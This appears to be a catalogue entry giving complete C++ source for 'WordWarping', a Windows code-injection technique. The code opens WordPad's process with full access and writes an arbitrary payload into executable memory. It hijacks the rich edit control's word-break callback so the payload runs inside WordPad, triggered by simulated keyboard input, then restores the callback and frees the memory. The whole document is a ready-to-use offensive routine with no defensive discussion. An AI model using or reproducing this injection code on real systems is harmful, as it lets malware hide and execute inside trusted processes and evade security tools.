Windows C++ / WordWarping

Author Glacius
Platform Windows
Language C++
Technique WordWarping

Code

VOID wordwarping(LPVOID payload, DWORD payloadSize) {
    HANDLE        hp;
    DWORD         id;
    HWND          wpw, rew;
    LPVOID        cs, wwf;
    SIZE_T        rd, wr;
    INPUT         ip;
    
    // 1. Get main window for wordpad.
    //    This will accept simulated keyboard input.
    wpw = FindWindow(L"WordPadClass", NULL);
    
    // 2. Find the rich edit control for wordpad.
    rew = FindWindowEx(wpw, NULL, L"RICHEDIT50W", NULL);

    // 3. Try get current address of Wordwrap function
    wwf = (LPVOID)SendMessage(rew, EM_GETWORDBREAKPROC, 0, 0);

    // 4. Obtain the process id for wordpad.
    GetWindowThreadProcessId(rew, &id);

    // 5. Try open the process.
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);

    // 6. Allocate RWX memory for the payload.
    cs = VirtualAllocEx(hp, NULL, payloadSize,
        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 7. Write the payload to memory
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);

    // 8. Update the callback procedure
    SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)cs);

    // 9. Simulate keyboard input to trigger payload
    ip.type           = INPUT_KEYBOARD;
    ip.ki.wVk         = 'A';
    ip.ki.wScan       = 0;
    ip.ki.dwFlags     = 0;
    ip.ki.time        = 0;
    ip.ki.dwExtraInfo = 0;
    
    SetForegroundWindow(rew);
    SendInput(1, &ip, sizeof(ip));

    // 10. Restore original Wordwrap function (if any)
    SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)wwf);
    
    // 11. Free memory and close process handle
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    CloseHandle(hp);
}

Created

October 13, 2020

Last Revised

April 22, 2024